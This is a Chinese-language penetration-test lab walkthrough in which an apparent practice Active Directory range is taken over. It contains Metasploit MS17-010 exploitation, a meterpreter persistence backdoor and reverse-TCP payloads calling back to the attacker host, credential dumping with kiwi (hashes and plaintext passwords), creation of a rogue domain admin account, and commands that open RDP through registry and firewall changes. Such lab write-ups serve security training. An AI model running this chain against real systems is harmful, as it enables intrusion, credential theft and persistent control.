基础信息
DC
IP1:10.10.10.10
账户密码:1qaz@WSX
更改后:Asd!23test
应用:AD域
WEB
IP1:10.10.10.129
IP2:192.168.111.80
账户密码:Asd!23test
应用:Weblogic 10.3.6MSSQL 2008
PC
IP1:10.10.10.201
IP2:192.168.111.201
账户密码:1qaz@WSX
更改后:Asd!23test
应用:
攻击机
ip1: 10.95.3.220/24
ip2:192.168.111.129/24
工具准备:
weblogic
https://github.com/KimJun1010/WeblogicTool/releases/tag/v1.3
冰蝎
https://github.com/rebeyond/Behinder/releases/download/Behinder_v4.1%E3%80%90t00ls%E4%B8%93%E7%89%88%E3%80%91/Behinder_v4.1.t00ls.zip
测试过程
由于这次环境又出问题,没有oracle服务直接进行端口开放情况:
nmap -p- -T4 192.168.111.80 -oN full_scan.txt
# -p-:扫描所有65535端口
# -T4:加速扫描(平衡速度与隐蔽性)
# -oN:结果保存为文本文件 [4,7](@ref)
nmap探测该网段存活主机:
nmap -sn 192.168.111.0/24
80是web主机、201是pc主机,129是攻击机,对201再进行端口测试:
nmap -p- -T4 192.168.111.201
msf直接利用445端口可能存在的漏洞对192.168.111.80
上线:
search ms17-010 #搜索模块
use 0 #选择第一个模块
先进行编码处理chcp 65001
随后进行信息收集:
C:\Windows\system32>CHCP 65001
CHCP 65001
Active code page: 65001
C:\Windows\system32>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : WEB
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : localdomain
Ethernet adapter �������� 3:
Connection-specific DNS Suffix . : localdomain
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #3
Physical Address. . . . . . . . . : 00-0C-29-8D-5A-73
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::41b3:7a68:d0ce:5f9e%15(Preferred)
IPv4 Address. . . . . . . . . . . : 10.10.10.129(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : 2025��8��18�� 12:59:46
Lease Expires . . . . . . . . . . : 2025��8��18�� 14:52:04
Default Gateway . . . . . . . . . :
DHCP Server . . . . . . . . . . . : 10.10.10.254
DHCPv6 IAID . . . . . . . . . . . : 335547433
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-06-97-6A-00-0C-29-68-D3-5F
DNS Servers . . . . . . . . . . . : 10.10.10.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter ��������:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-8D-5A-69
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::3caf:ba54:2db8:5f7a%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.111.80(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.111.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-06-97-6A-00-0C-29-68-D3-5F
DNS Servers . . . . . . . . . . . : 10.10.10.10
NetBIOS over Tcpip. . . . . . . . : Enabled
Tunnel adapter isatap.{D7E14072-49B9-45D3-BA8C-7955E6146CC2}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.localdomain:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
C:\Windows\system32>
查看计算机名、全名、用户名、系统版本、工作站、域、登录域:
net config workstation
查看10.10.10.0/24
主机存活状态
for /L %i in (1,1,254) do @ping -n 1 10.10.10.%i | findstr "bytes="
在检查存活情况下进行192.168.111.201
尝试上线,进行多次msf上线不成功,并且10.10.10.201在其他两台机子ping不通,可能进行了防火墙设置。因此留下以下疑问:
现在有三台主机A、B、C
其中对应的配置为:
A:10.10.10.10(单网卡)
B:10.10.10.129、192.168.111.80(双网卡)
C:10.10.10.201、192.168.111.201(双网卡)
现在遇到了一个问题,C主机可以ping通A主机10.10.10.10和B主机的所有地址(10.10.10.129和192.168.111.80),A与B在10.10.10.x段可以互通,但是B主机可以ping通C主机的192.168.111.201,却ping不通10.10.10.201,并且A主机也ping不通10.10.10.201,这是为什么
继续对192.168.111.80
进行测试:
# 添加持久化后门(管理员权限)
meterpreter > run persistence -U -i 60 -p 54456 -r 192.168.111.129 #已经弃用
# 激活路由(重要!)
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run
添加持久化后门:
meterpreter > background # 返回 msfconsole
msf6 > use exploit/windows/local/persistence
msf6 exploit(persistence) > set SESSION 1
msf6 exploit(persistence) > set LHOST 192.168.111.129
msf6 exploit(persistence) > set LPORT 54456
msf6 exploit(persistence) > set RETRY_TIME 60
msf6 exploit(persistence) > set STARTUP USER
msf6 exploit(persistence) > run
进行代理设置:
vi /etc/proxychains4.conf
socks5 127.0.0.1 1080
cat /etc/proxychains4.conf
进行危险端口扫描:
proxychains nmap -sT -Pn -p 22,80,135,139,445,3389 10.10.10.0/24
扫描的同事对192.168.111.80
受控机进行一波信息收集
# 密码提取
meterpreter > load kiwi
kiwi > creds_all
# 浏览器凭据搜集
meterpreter > run post/windows/gather/enum_ie
meterpreter > run post/windows/gather/enum_chrome
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator WEB f054b2c63e6a1c8330b730ddb03f75ee b60f026e62274092b917fe6ed21ef37a 4ad26eb5b7d9880eb51da5e63bcfda4e193187bb
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WEB Asd!23test
WEB$ WORKGROUP (null)
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Administrator WEB Asd!23test
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WEB Asd!23test
web$ WORKGROUP (null)
获取到了关键信息,管理员的账户密码,那么可以对其进行远程桌面,进行上传一些恶意程序。
利用其进行msf上线10.10.10.10
msf6 > use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.129 # 跳板机IP
run
上线不成功,换模块:
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 10.10.10.10
RHOSTS => 10.10.10.10
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND 'net user hack P@ssw0rd /add /domain && net group "Domain Admins" hack /add'
COMMAND => net user hack P@ssw0rd /add /domain && net group "Domain Admins" hack /add
msf6 auxiliary(admin/smb/ms17_010_command) > set Proxies socks5:127.0.0.1:1080
Proxies => socks5:127.0.0.1:1080
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 10.10.10.10:445 - Target OS: Windows Server 2012 R2 Standard 9600
[*] 10.10.10.10:445 - Built a write-what-where primitive...
[+] 10.10.10.10:445 - Overwrite complete... SYSTEM session obtained!
[+] 10.10.10.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.10.10.10:445 - Getting the command output...
[*] 10.10.10.10:445 - Executing cleanup...
[+] 10.10.10.10:445 - Cleanup was successful
[+] 10.10.10.10:445 - Command completed successfully!
[*] 10.10.10.10:445 - Output for "net user hack P@ssw0rd /add /domain && net group "Domain Admins" hack /add":
�����ɹ����ɡ�
[*] 10.10.10.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) >
后续可以利用这个进行开启RDP登录:
set COMMAND 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
run
防火墙规则放行 RDP 端口
set COMMAND 'netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow'
run
确保远程桌面服务启动
set COMMAND 'sc start TermService'
run
proxychains rdesktop -u hack -p P@ssw0rd 10.10.10.10
成功获取到主机10.10.10.10
虽然环境出问题但是还是通过跳板机获取都了DC主机。至于192.168.111.201在没有环境没有问题下主要是进行免杀操作上线。
总结
这篇没什么难点,记住后面利用跳板机进行流量转发即可:
1、利用好use auxiliary/server/socks_proxy模块
2、修改/etc/proxychains4.conf 文件